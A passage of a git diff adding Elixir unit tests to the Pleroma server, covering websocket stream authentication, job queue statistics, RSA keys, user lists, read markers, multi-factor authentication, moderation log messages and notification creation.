@path Pleroma.Web.Endpoint.url() + |> URI.parse() + |> Map.put(:scheme, "ws") + |> Map.put(:path, "/api/v1/streaming") + |> URI.to_string() + + def start_socket(qs \\ nil, headers \\ []) do + path = + case qs do + nil -> @path + qs -> @path <> qs + end + + WebsocketClient.start_link(self(), path, headers) + end + + test "refuses invalid requests" do + capture_log(fn -> + assert {:error, {404, _}} = start_socket() + assert {:error, {404, _}} = start_socket("?stream=ncjdk") + Process.sleep(30) + end) + end + + test "requires authentication and a valid token for protected streams" do + capture_log(fn -> + assert {:error, {401, _}} = start_socket("?stream=user&access_token=aaaaaaaaaaaa") + assert {:error, {401, _}} = start_socket("?stream=user") + Process.sleep(30) + end) + end + + test "allows public streams without authentication" do + assert {:ok, _} = start_socket("?stream=public") + assert {:ok, _} = start_socket("?stream=public:local") + assert {:ok, _} = start_socket("?stream=hashtag&tag=lain") + end + + test "receives well formatted events" do + user = insert(:user) + {:ok, _} = start_socket("?stream=public") + {:ok, activity} = CommonAPI.post(user, %{status: "nice echo chamber"}) + + assert_receive {:text, raw_json}, 1_000 + assert {:ok, json} = Jason.decode(raw_json) + + assert "update" == json["event"] + assert json["payload"] + assert {:ok, json} = Jason.decode(json["payload"]) + + view_json = + Pleroma.Web.MastodonAPI.StatusView.render("show.json", activity: activity, for: nil) + |> Jason.encode!() + |> Jason.decode!() + + assert json == view_json + end + + describe "with a valid user token" do + setup do + {:ok, app} = + Pleroma.Repo.insert( + OAuth.App.register_changeset(%OAuth.App{}, %{ + client_name: "client", + scopes: ["read"], + redirect_uris: "url" + }) + ) + + user = insert(:user) + + {:ok, auth} = OAuth.Authorization.create_authorization(app, user) + + {:ok, token} = OAuth.Token.exchange_token(app, auth) + + %{user: user, token: token} + end + + test "accepts valid tokens", state do + assert {:ok, _} = start_socket("?stream=user&access_token=#{state.token.token}") + end + + test "accepts the 'user' stream", %{token: token} = _state do + assert {:ok, _} = start_socket("?stream=user&access_token=#{token.token}") + + capture_log(fn -> + assert {:error, {401, _}} = start_socket("?stream=user") + Process.sleep(30) + end) + end + + test "accepts the 'user:notification' stream", %{token: token} = _state do + assert {:ok, _} = start_socket("?stream=user:notification&access_token=#{token.token}") + + capture_log(fn -> + assert {:error, {401, _}} = start_socket("?stream=user:notification") + Process.sleep(30) + end) + end + + test "accepts valid token on Sec-WebSocket-Protocol header", %{token: token} do + assert {:ok, _} = start_socket("?stream=user", [{"Sec-WebSocket-Protocol", token.token}]) + + capture_log(fn -> + assert {:error, {401, _}} = + start_socket("?stream=user", [{"Sec-WebSocket-Protocol", "I am a friend"}]) + + Process.sleep(30) + end) + end + end +end diff --git a/test/pleroma/job_queue_monitor_test.exs b/test/pleroma/job_queue_monitor_test.exs new file mode 100644 index 000000000..65c1e9f29 --- /dev/null +++ b/test/pleroma/job_queue_monitor_test.exs @@ -0,0 +1,70 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.JobQueueMonitorTest do + use ExUnit.Case, async: true + + alias Pleroma.JobQueueMonitor + + @success {:process_event, :success, 1337, + %{ + args: %{"op" => "refresh_subscriptions"}, + attempt: 1, + id: 339, + max_attempts: 5, + queue: "federator_outgoing", + worker: "Pleroma.Workers.SubscriberWorker" + }} + + @failure {:process_event, :failure, 22_521_134, + %{ + args: %{"op" => "force_password_reset", "user_id" => "9nJG6n6Nbu7tj9GJX6"}, + attempt: 1, + error: %RuntimeError{message: "oops"}, + id: 345, + kind: :exception, + max_attempts: 1, + queue: "background", + stack: [ + {Pleroma.Workers.BackgroundWorker, :perform, 2, + [file: 'lib/pleroma/workers/background_worker.ex', line: 31]}, + {Oban.Queue.Executor, :safe_call, 1, + [file: 'lib/oban/queue/executor.ex', line: 42]}, + {:timer, :tc, 3, [file: 'timer.erl', line: 197]}, + {Oban.Queue.Executor, :call, 2, [file: 'lib/oban/queue/executor.ex', line: 23]}, + {Task.Supervised, :invoke_mfa, 2, [file: 'lib/task/supervised.ex', line: 90]}, + {:proc_lib, :init_p_do_apply, 3, [file: 'proc_lib.erl', line: 249]} + ], + worker: "Pleroma.Workers.BackgroundWorker" + }} + + test "stats/0" do + assert %{processed_jobs: _, queues: _, workers: _} = JobQueueMonitor.stats() + end + + test "handle_cast/2" do + state = %{workers: %{}, queues: %{}, processed_jobs: 0} + + assert {:noreply, state} = JobQueueMonitor.handle_cast(@success, state) + assert {:noreply, state} = JobQueueMonitor.handle_cast(@failure, state) + assert {:noreply, state} = JobQueueMonitor.handle_cast(@success, state) + assert {:noreply, state} = JobQueueMonitor.handle_cast(@failure, state) + + assert state == %{ + processed_jobs: 4, + queues: %{ + "background" => %{failure: 2, processed_jobs: 2, success: 0}, + "federator_outgoing" => %{failure: 0, processed_jobs: 2, success: 2} + }, + workers: %{ + "Pleroma.Workers.BackgroundWorker" => %{ + "force_password_reset" => %{failure: 2, processed_jobs: 2, success: 0} + }, + "Pleroma.Workers.SubscriberWorker" => %{ + "refresh_subscriptions" => %{failure: 0, processed_jobs: 2, success: 2} + } + } + } + end +end diff --git a/test/pleroma/keys_test.exs b/test/pleroma/keys_test.exs new file mode 100644 index 000000000..9e8528cba --- /dev/null +++ b/test/pleroma/keys_test.exs @@ -0,0 +1,24 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.KeysTest do + use Pleroma.DataCase + + alias Pleroma.Keys + + test "generates an RSA private key pem" do + {:ok, key} = Keys.generate_rsa_pem() + + assert is_binary(key) + assert Regex.match?(~r/RSA/, key) + end + + test "returns a public and private key from a pem" do + pem = File.read!("test/fixtures/private_key.pem") + {:ok, private, public} = Keys.keys_from_pem(pem) + + assert elem(private, 0) == :RSAPrivateKey + assert elem(public, 0) == :RSAPublicKey + end +end diff --git a/test/pleroma/list_test.exs b/test/pleroma/list_test.exs new file mode 100644 index 000000000..b5572cbae --- /dev/null +++ b/test/pleroma/list_test.exs @@ -0,0 +1,149 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ListTest do + alias Pleroma.Repo + use Pleroma.DataCase + + import Pleroma.Factory + + test "creating a list" do + user = insert(:user) + {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user) + %Pleroma.List{title: title} = Pleroma.List.get(list.id, user) + assert title == "title" + end + + test "validates title" do + user = insert(:user) + + assert {:error, changeset} = Pleroma.List.create("", user) + assert changeset.errors == [title: {"can't be blank", [validation: :required]}] + end + + test "getting a list not belonging to the user" do + user = insert(:user) + other_user = insert(:user) + {:ok, %Pleroma.List{} = list} = Pleroma.List.create("title", user) + ret = Pleroma.List.get(list.id, other_user) + assert is_nil(ret) + end + + test "adding an user to a list" do + user = insert(:user) + other_user = insert(:user) + {:ok, list} = Pleroma.List.create("title", user) + {:ok, %{following: following}} = Pleroma.List.follow(list, other_user) + assert [other_user.follower_address] == following + end + + test "removing an user from a list" do + user = insert(:user) + other_user = insert(:user) + {:ok, list} = Pleroma.List.create("title", user) + {:ok, %{following: _following}} = Pleroma.List.follow(list, other_user) + {:ok, %{following: following}} = Pleroma.List.unfollow(list, other_user) + assert [] == following + end + + test "renaming a list" do + user = insert(:user) + {:ok, list} = Pleroma.List.create("title", user) + {:ok, %{title: title}} = Pleroma.List.rename(list, "new") + assert "new" == title + end + + test "deleting a list" do + user = insert(:user) + {:ok, list} = Pleroma.List.create("title", user) + {:ok, list} = Pleroma.List.delete(list) + assert is_nil(Repo.get(Pleroma.List, list.id)) + end + + test "getting users in a list" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + {:ok, list} = Pleroma.List.create("title", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + {:ok, list} = Pleroma.List.follow(list, third_user) + {:ok, following} = Pleroma.List.get_following(list) + assert other_user in following + assert third_user in following + end + + test "getting all lists by an user" do + user = insert(:user) + other_user = insert(:user) + {:ok, list_one} = Pleroma.List.create("title", user) + {:ok, list_two} = Pleroma.List.create("other title", user) + {:ok, list_three} = Pleroma.List.create("third title", other_user) + lists = Pleroma.List.for_user(user, %{}) + assert list_one in lists + assert list_two in lists + refute list_three in lists + end + + test "getting all lists the user is a member of" do + user = insert(:user) + other_user = insert(:user) + {:ok, list_one} = Pleroma.List.create("title", user) + {:ok, list_two} = Pleroma.List.create("other title", user) + {:ok, list_three} = Pleroma.List.create("third title", other_user) + {:ok, list_one} = Pleroma.List.follow(list_one, other_user) + {:ok, list_two} = Pleroma.List.follow(list_two, other_user) + {:ok, list_three} = Pleroma.List.follow(list_three, user) + + lists = Pleroma.List.get_lists_from_activity(%Pleroma.Activity{actor: other_user.ap_id}) + assert list_one in lists + assert list_two in lists + refute list_three in lists + end + + test "getting own lists a given user belongs to" do + owner = insert(:user) + not_owner = insert(:user) + member_1 = insert(:user) + member_2 = insert(:user) + {:ok, owned_list} = Pleroma.List.create("owned", owner) + {:ok, not_owned_list} = Pleroma.List.create("not owned", not_owner) + {:ok, owned_list} = Pleroma.List.follow(owned_list, member_1) + {:ok, owned_list} = Pleroma.List.follow(owned_list, member_2) + {:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_1) + {:ok, not_owned_list} = Pleroma.List.follow(not_owned_list, member_2) + + lists_1 = Pleroma.List.get_lists_account_belongs(owner, member_1) + assert owned_list in lists_1 + refute not_owned_list in lists_1 + lists_2 = Pleroma.List.get_lists_account_belongs(owner, member_2) + assert owned_list in lists_2 + refute not_owned_list in lists_2 + end + + test "get by ap_id" do + user = insert(:user) + {:ok, list} = Pleroma.List.create("foo", user) + assert Pleroma.List.get_by_ap_id(list.ap_id) == list + end + + test "memberships" do + user = insert(:user) + member = insert(:user) + {:ok, list} = Pleroma.List.create("foo", user) + {:ok, list} = Pleroma.List.follow(list, member) + + assert Pleroma.List.memberships(member) == [list.ap_id] + end + + test "member?" do + user = insert(:user) + member = insert(:user) + + {:ok, list} = Pleroma.List.create("foo", user) + {:ok, list} = Pleroma.List.follow(list, member) + + assert Pleroma.List.member?(list, member) + refute Pleroma.List.member?(list, user) + end +end diff --git a/test/pleroma/marker_test.exs b/test/pleroma/marker_test.exs new file mode 100644 index 000000000..7b3943c7b --- /dev/null +++ b/test/pleroma/marker_test.exs @@ -0,0 +1,78 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.MarkerTest do + use Pleroma.DataCase + alias Pleroma.Marker + + import Pleroma.Factory + + describe "multi_set_unread_count/3" do + test "returns multi" do + user = insert(:user) + + assert %Ecto.Multi{ + operations: [marker: {:run, _}, counters: {:run, _}] + } = + Marker.multi_set_last_read_id( + Ecto.Multi.new(), + user, + "notifications" + ) + end + + test "return empty multi" do + user = insert(:user) + multi = Ecto.Multi.new() + assert Marker.multi_set_last_read_id(multi, user, "home") == multi + end + end + + describe "get_markers/2" do + test "returns user markers" do + user = insert(:user) + marker = insert(:marker, user: user) + insert(:notification, user: user, activity: insert(:note_activity)) + insert(:notification, user: user, activity: insert(:note_activity)) + insert(:marker, timeline: "home", user: user) + + assert Marker.get_markers( + user, + ["notifications"] + ) == [%Marker{refresh_record(marker) | unread_count: 2}] + end + end + + describe "upsert/2" do + test "creates a marker" do + user = insert(:user) + + {:ok, %{"notifications" => %Marker{} = marker}} = + Marker.upsert( + user, + %{"notifications" => %{"last_read_id" => "34"}} + ) + + assert marker.timeline == "notifications" + assert marker.last_read_id == "34" + assert marker.lock_version == 0 + end + + test "updates exist marker" do + user = insert(:user) + marker = insert(:marker, user: user, last_read_id: "8909") + + {:ok, %{"notifications" => %Marker{}}} = + Marker.upsert( + user, + %{"notifications" => %{"last_read_id" => "9909"}} + ) + + marker = refresh_record(marker) + assert marker.timeline == "notifications" + assert marker.last_read_id == "9909" + assert marker.lock_version == 0 + end + end +end diff --git a/test/pleroma/mfa/backup_codes_test.exs b/test/pleroma/mfa/backup_codes_test.exs new file mode 100644 index 000000000..41adb1e96 --- /dev/null +++ b/test/pleroma/mfa/backup_codes_test.exs @@ -0,0 +1,15 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.MFA.BackupCodesTest do + use Pleroma.DataCase + + alias Pleroma.MFA.BackupCodes + + test "generate backup codes" do + codes = BackupCodes.generate(number_of_codes: 2, length: 4) + + assert [<<_::bytes-size(4)>>, <<_::bytes-size(4)>>] = codes + end +end diff --git a/test/pleroma/mfa/totp_test.exs b/test/pleroma/mfa/totp_test.exs new file mode 100644 index 000000000..9edb6fd54 --- /dev/null +++ b/test/pleroma/mfa/totp_test.exs @@ -0,0 +1,21 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.MFA.TOTPTest do + use Pleroma.DataCase + + alias Pleroma.MFA.TOTP + + test "create provisioning_uri to generate qrcode" do + uri = + TOTP.provisioning_uri("test-secrcet", "test@example.com", + issuer: "Plerome-42", + digits: 8, + period: 60 + ) + + assert uri == + "otpauth://totp/test@example.com?digits=8&issuer=Plerome-42&period=60&secret=test-secrcet" + end +end diff --git a/test/pleroma/mfa_test.exs b/test/pleroma/mfa_test.exs new file mode 100644 index 000000000..8875cefd9 --- /dev/null +++ b/test/pleroma/mfa_test.exs @@ -0,0 +1,52 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2018 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.MFATest do + use Pleroma.DataCase + + import Pleroma.Factory + alias Pleroma.MFA + + describe "mfa_settings" do + test "returns settings user's" do + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: "xx", confirmed: true} + } + ) + + settings = MFA.mfa_settings(user) + assert match?(^settings, %{enabled: true, totp: true}) + end + end + + describe "generate backup codes" do + test "returns backup codes" do + user = insert(:user) + + {:ok, [code1, code2]} = MFA.generate_backup_codes(user) + updated_user = refresh_record(user) + [hash1, hash2] = updated_user.multi_factor_authentication_settings.backup_codes + assert Pbkdf2.verify_pass(code1, hash1) + assert Pbkdf2.verify_pass(code2, hash2) + end + end + + describe "invalidate_backup_code" do + test "invalid used code" do + user = insert(:user) + + {:ok, _} = MFA.generate_backup_codes(user) + user = refresh_record(user) + assert length(user.multi_factor_authentication_settings.backup_codes) == 2 + [hash_code | _] = user.multi_factor_authentication_settings.backup_codes + + {:ok, user} = MFA.invalidate_backup_code(user, hash_code) + + assert length(user.multi_factor_authentication_settings.backup_codes) == 1 + end + end +end diff --git a/test/pleroma/migration_helper/notification_backfill_test.exs b/test/pleroma/migration_helper/notification_backfill_test.exs new file mode 100644 index 000000000..2a62a2b00 --- /dev/null +++ b/test/pleroma/migration_helper/notification_backfill_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.MigrationHelper.NotificationBackfillTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.MigrationHelper.NotificationBackfill + alias Pleroma.Notification + alias Pleroma.Repo + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "fill_in_notification_types" do + test "it fills in missing notification types" do + user = insert(:user) + other_user = insert(:user) + + {:ok, post} = CommonAPI.post(user, %{status: "yeah, @#{other_user.nickname}"}) + {:ok, chat} = CommonAPI.post_chat_message(user, other_user, "yo") + {:ok, react} = CommonAPI.react_with_emoji(post.id, other_user, "☕") + {:ok, like} = CommonAPI.favorite(other_user, post.id) + {:ok, react_2} = CommonAPI.react_with_emoji(post.id, other_user, "☕") + + data = + react_2.data + |> Map.put("type", "EmojiReaction") + + {:ok, react_2} = + react_2 + |> Activity.change(%{data: data}) + |> Repo.update() + + assert {5, nil} = Repo.update_all(Notification, set: [type: nil]) + + NotificationBackfill.fill_in_notification_types() + + assert %{type: "mention"} = + Repo.get_by(Notification, user_id: other_user.id, activity_id: post.id) + + assert %{type: "favourite"} = + Repo.get_by(Notification, user_id: user.id, activity_id: like.id) + + assert %{type: "pleroma:emoji_reaction"} = + Repo.get_by(Notification, user_id: user.id, activity_id: react.id) + + assert %{type: "pleroma:emoji_reaction"} = + Repo.get_by(Notification, user_id: user.id, activity_id: react_2.id) + + assert %{type: "pleroma:chat_mention"} = + Repo.get_by(Notification, user_id: other_user.id, activity_id: chat.id) + end + end +end diff --git a/test/pleroma/moderation_log_test.exs b/test/pleroma/moderation_log_test.exs new file mode 100644 index 000000000..59f4d67f8 --- /dev/null +++ b/test/pleroma/moderation_log_test.exs @@ -0,0 +1,297 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.ModerationLogTest do + alias Pleroma.Activity + alias Pleroma.ModerationLog + + use Pleroma.DataCase + + import Pleroma.Factory + + describe "user moderation" do + setup do + admin = insert(:user, is_admin: true) + moderator = insert(:user, is_moderator: true) + subject1 = insert(:user) + subject2 = insert(:user) + + [admin: admin, moderator: moderator, subject1: subject1, subject2: subject2] + end + + test "logging user deletion by moderator", %{moderator: moderator, subject1: subject1} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + subject: [subject1], + action: "delete" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == "@#{moderator.nickname} deleted users: @#{subject1.nickname}" + end + + test "logging user creation by moderator", %{ + moderator: moderator, + subject1: subject1, + subject2: subject2 + } do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + subjects: [subject1, subject2], + action: "create" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} created users: @#{subject1.nickname}, @#{subject2.nickname}" + end + + test "logging user follow by admin", %{admin: admin, subject1: subject1, subject2: subject2} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: admin, + followed: subject1, + follower: subject2, + action: "follow" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{admin.nickname} made @#{subject2.nickname} follow @#{subject1.nickname}" + end + + test "logging user unfollow by admin", %{admin: admin, subject1: subject1, subject2: subject2} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: admin, + followed: subject1, + follower: subject2, + action: "unfollow" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{admin.nickname} made @#{subject2.nickname} unfollow @#{subject1.nickname}" + end + + test "logging user tagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: admin, + nicknames: [subject1.nickname, subject2.nickname], + tags: ["foo", "bar"], + action: "tag" + }) + + log = Repo.one(ModerationLog) + + users = + [subject1.nickname, subject2.nickname] + |> Enum.map(&"@#{&1}") + |> Enum.join(", ") + + tags = ["foo", "bar"] |> Enum.join(", ") + + assert log.data["message"] == "@#{admin.nickname} added tags: #{tags} to users: #{users}" + end + + test "logging user untagged by admin", %{admin: admin, subject1: subject1, subject2: subject2} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: admin, + nicknames: [subject1.nickname, subject2.nickname], + tags: ["foo", "bar"], + action: "untag" + }) + + log = Repo.one(ModerationLog) + + users = + [subject1.nickname, subject2.nickname] + |> Enum.map(&"@#{&1}") + |> Enum.join(", ") + + tags = ["foo", "bar"] |> Enum.join(", ") + + assert log.data["message"] == + "@#{admin.nickname} removed tags: #{tags} from users: #{users}" + end + + test "logging user grant by moderator", %{moderator: moderator, subject1: subject1} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + subject: [subject1], + action: "grant", + permission: "moderator" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == "@#{moderator.nickname} made @#{subject1.nickname} moderator" + end + + test "logging user revoke by moderator", %{moderator: moderator, subject1: subject1} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + subject: [subject1], + action: "revoke", + permission: "moderator" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} revoked moderator role from @#{subject1.nickname}" + end + + test "logging relay follow", %{moderator: moderator} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "relay_follow", + target: "https://example.org/relay" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} followed relay: https://example.org/relay" + end + + test "logging relay unfollow", %{moderator: moderator} do + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "relay_unfollow", + target: "https://example.org/relay" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} unfollowed relay: https://example.org/relay" + end + + test "logging report update", %{moderator: moderator} do + report = %Activity{ + id: "9m9I1F4p8ftrTP6QTI", + data: %{ + "type" => "Flag", + "state" => "resolved" + } + } + + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "report_update", + subject: report + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} updated report ##{report.id} with 'resolved' state" + end + + test "logging report response", %{moderator: moderator} do + report = %Activity{ + id: "9m9I1F4p8ftrTP6QTI", + data: %{ + "type" => "Note" + } + } + + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "report_note", + subject: report, + text: "look at this" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} added note 'look at this' to report ##{report.id}" + end + + test "logging status sensitivity update", %{moderator: moderator} do + note = insert(:note_activity) + + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "status_update", + subject: note, + sensitive: "true", + visibility: nil + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true'" + end + + test "logging status visibility update", %{moderator: moderator} do + note = insert(:note_activity) + + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "status_update", + subject: note, + sensitive: nil, + visibility: "private" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} updated status ##{note.id}, set visibility: 'private'" + end + + test "logging status sensitivity & visibility update", %{moderator: moderator} do + note = insert(:note_activity) + + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "status_update", + subject: note, + sensitive: "true", + visibility: "private" + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == + "@#{moderator.nickname} updated status ##{note.id}, set sensitive: 'true', visibility: 'private'" + end + + test "logging status deletion", %{moderator: moderator} do + note = insert(:note_activity) + + {:ok, _} = + ModerationLog.insert_log(%{ + actor: moderator, + action: "status_delete", + subject_id: note.id + }) + + log = Repo.one(ModerationLog) + + assert log.data["message"] == "@#{moderator.nickname} deleted status ##{note.id}" + end + end +end diff --git a/test/pleroma/notification_test.exs b/test/pleroma/notification_test.exs new file mode 100644 index 000000000..f2e0f0b0d --- /dev/null +++ b/test/pleroma/notification_test.exs @@ -0,0 +1,1144 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.NotificationTest do + use Pleroma.DataCase + + import Pleroma.Factory + import Mock + + alias Pleroma.FollowingRelationship + alias Pleroma.Notification + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Builder + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI.NotificationView + alias Pleroma.Web.Push + alias Pleroma.Web.Streamer + + describe "create_notifications" do + test "never returns nil" do + user = insert(:user) + other_user = insert(:user, %{invisible: true}) + + {:ok, activity} = CommonAPI.post(user, %{status: "yeah"}) + {:ok, activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") + + refute {:ok, [nil]} == Notification.create_notifications(activity) + end + + test "creates a notification for an emoji reaction" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "yeah"}) + {:ok, activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") + + {:ok, [notification]} = Notification.create_notifications(activity) + + assert notification.user_id == user.id + assert notification.type == "pleroma:emoji_reaction" + end + + test "notifies someone when they are directly addressed" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "hey @#{other_user.nickname} and @#{third_user.nickname}" + }) + + {:ok, [notification, other_notification]} = Notification.create_notifications(activity) + + notified_ids = Enum.sort([notification.user_id, other_notification.user_id]) + assert notified_ids == [other_user.id, third_user.id] + assert notification.activity_id == activity.id + assert notification.type == "mention" + assert other_notification.activity_id == activity.id + + assert [%Pleroma.Marker{unread_count: 2}] = + Pleroma.Marker.get_markers(other_user, ["notifications"]) + end + + test "it creates a notification for subscribed users" do + user = insert(:user) + subscriber = insert(:user) + + User.subscribe(subscriber, user) + + {:ok, status} = CommonAPI.post(user, %{status: "Akariiiin"}) + {:ok, [notification]} = Notification.create_notifications(status) + + assert notification.user_id == subscriber.id + end + + test "does not create a notification for subscribed users if status is a reply" do + user = insert(:user) + other_user = insert(:user) + subscriber = insert(:user) + + User.subscribe(subscriber, other_user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test post"}) + + {:ok, _reply_activity} = + CommonAPI.post(other_user, %{ + status: "test reply", + in_reply_to_status_id: activity.id + }) + + user_notifications = Notification.for_user(user) + assert length(user_notifications) == 1 + + subscriber_notifications = Notification.for_user(subscriber) + assert Enum.empty?(subscriber_notifications) + end + end + + describe "CommonApi.post/2 notification-related functionality" do + test_with_mock "creates but does NOT send notification to blocker user", + Push, + [:passthrough], + [] do + user = insert(:user) + blocker = insert(:user) + {:ok, _user_relationship} = User.block(blocker, user) + + {:ok, _activity} = CommonAPI.post(user, %{status: "hey @#{blocker.nickname}!"}) + + blocker_id = blocker.id + assert [%Notification{user_id: ^blocker_id}] = Repo.all(Notification) + refute called(Push.send(:_)) + end + + test_with_mock "creates but does NOT send notification to notification-muter user", + Push, + [:passthrough], + [] do + user = insert(:user) + muter = insert(:user) + {:ok, _user_relationships} = User.mute(muter, user) + + {:ok, _activity} = CommonAPI.post(user, %{status: "hey @#{muter.nickname}!"}) + + muter_id = muter.id + assert [%Notification{user_id: ^muter_id}] = Repo.all(Notification) + refute called(Push.send(:_)) + end + + test_with_mock "creates but does NOT send notification to thread-muter user", + Push, + [:passthrough], + [] do + user = insert(:user) + thread_muter = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hey @#{thread_muter.nickname}!"}) + + {:ok, _} = CommonAPI.add_mute(thread_muter, activity) + + {:ok, _same_context_activity} = + CommonAPI.post(user, %{ + status: "hey-hey-hey @#{thread_muter.nickname}!", + in_reply_to_status_id: activity.id + }) + + [pre_mute_notification, post_mute_notification] = + Repo.all(from(n in Notification, where: n.user_id == ^thread_muter.id, order_by: n.id)) + + pre_mute_notification_id = pre_mute_notification.id + post_mute_notification_id = post_mute_notification.id + + assert called( + Push.send( + :meck.is(fn + %Notification{id: ^pre_mute_notification_id} -> true + _ -> false + end) + ) + ) + + refute called( + Push.send( + :meck.is(fn + %Notification{id: ^post_mute_notification_id} -> true + _ -> false + end) + ) + ) + end + end + + describe "create_notification" do + @tag needs_streamer: true + test "it creates a notification for user and send to the 'user' and the 'user:notification' stream" do + %{user: user, token: oauth_token} = oauth_access(["read"]) + + task = + Task.async(fn -> + {:ok, _topic} = Streamer.get_topic_and_add_socket("user", user, oauth_token) + assert_receive {:render_with_user, _, _, _}, 4_000 + end) + + task_user_notification = + Task.async(fn -> + {:ok, _topic} = + Streamer.get_topic_and_add_socket("user:notification", user, oauth_token) + + assert_receive {:render_with_user, _, _, _}, 4_000 + end) + + activity = insert(:note_activity) + + notify = Notification.create_notification(activity, user) + assert notify.user_id == user.id + Task.await(task) + Task.await(task_user_notification) + end + + test "it creates a notification for user if the user blocks the activity author" do + activity = insert(:note_activity) + author = User.get_cached_by_ap_id(activity.data["actor"]) + user = insert(:user) + {:ok, _user_relationship} = User.block(user, author) + + assert Notification.create_notification(activity, user) + end + + test "it creates a notification for the user if the user mutes the activity author" do + muter = insert(:user) + muted = insert(:user) + {:ok, _} = User.mute(muter, muted) + muter = Repo.get(User, muter.id) + {:ok, activity} = CommonAPI.post(muted, %{status: "Hi @#{muter.nickname}"}) + + notification = Notification.create_notification(activity, muter) + + assert notification.id + assert notification.seen + end + + test "notification created if user is muted without notifications" do + muter = insert(:user) + muted = insert(:user) + + {:ok, _user_relationships} = User.mute(muter, muted, false) + + {:ok, activity} = CommonAPI.post(muted, %{status: "Hi @#{muter.nickname}"}) + + assert Notification.create_notification(activity, muter) + end + + test "it creates a notification for an activity from a muted thread" do + muter = insert(:user) + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(muter, %{status: "hey"}) + CommonAPI.add_mute(muter, activity) + + {:ok, activity} = + CommonAPI.post(other_user, %{ + status: "Hi @#{muter.nickname}", + in_reply_to_status_id: activity.id + }) + + notification = Notification.create_notification(activity, muter) + + assert notification.id + assert notification.seen + end + + test "it disables notifications from strangers" do + follower = insert(:user) + + followed = + insert(:user, + notification_settings: %Pleroma.User.NotificationSetting{block_from_strangers: true} + ) + + {:ok, activity} = CommonAPI.post(follower, %{status: "hey @#{followed.nickname}"}) + refute Notification.create_notification(activity, followed) + end + + test "it doesn't create a notification for user if he is the activity author" do + activity = insert(:note_activity) + author = User.get_cached_by_ap_id(activity.data["actor"]) + 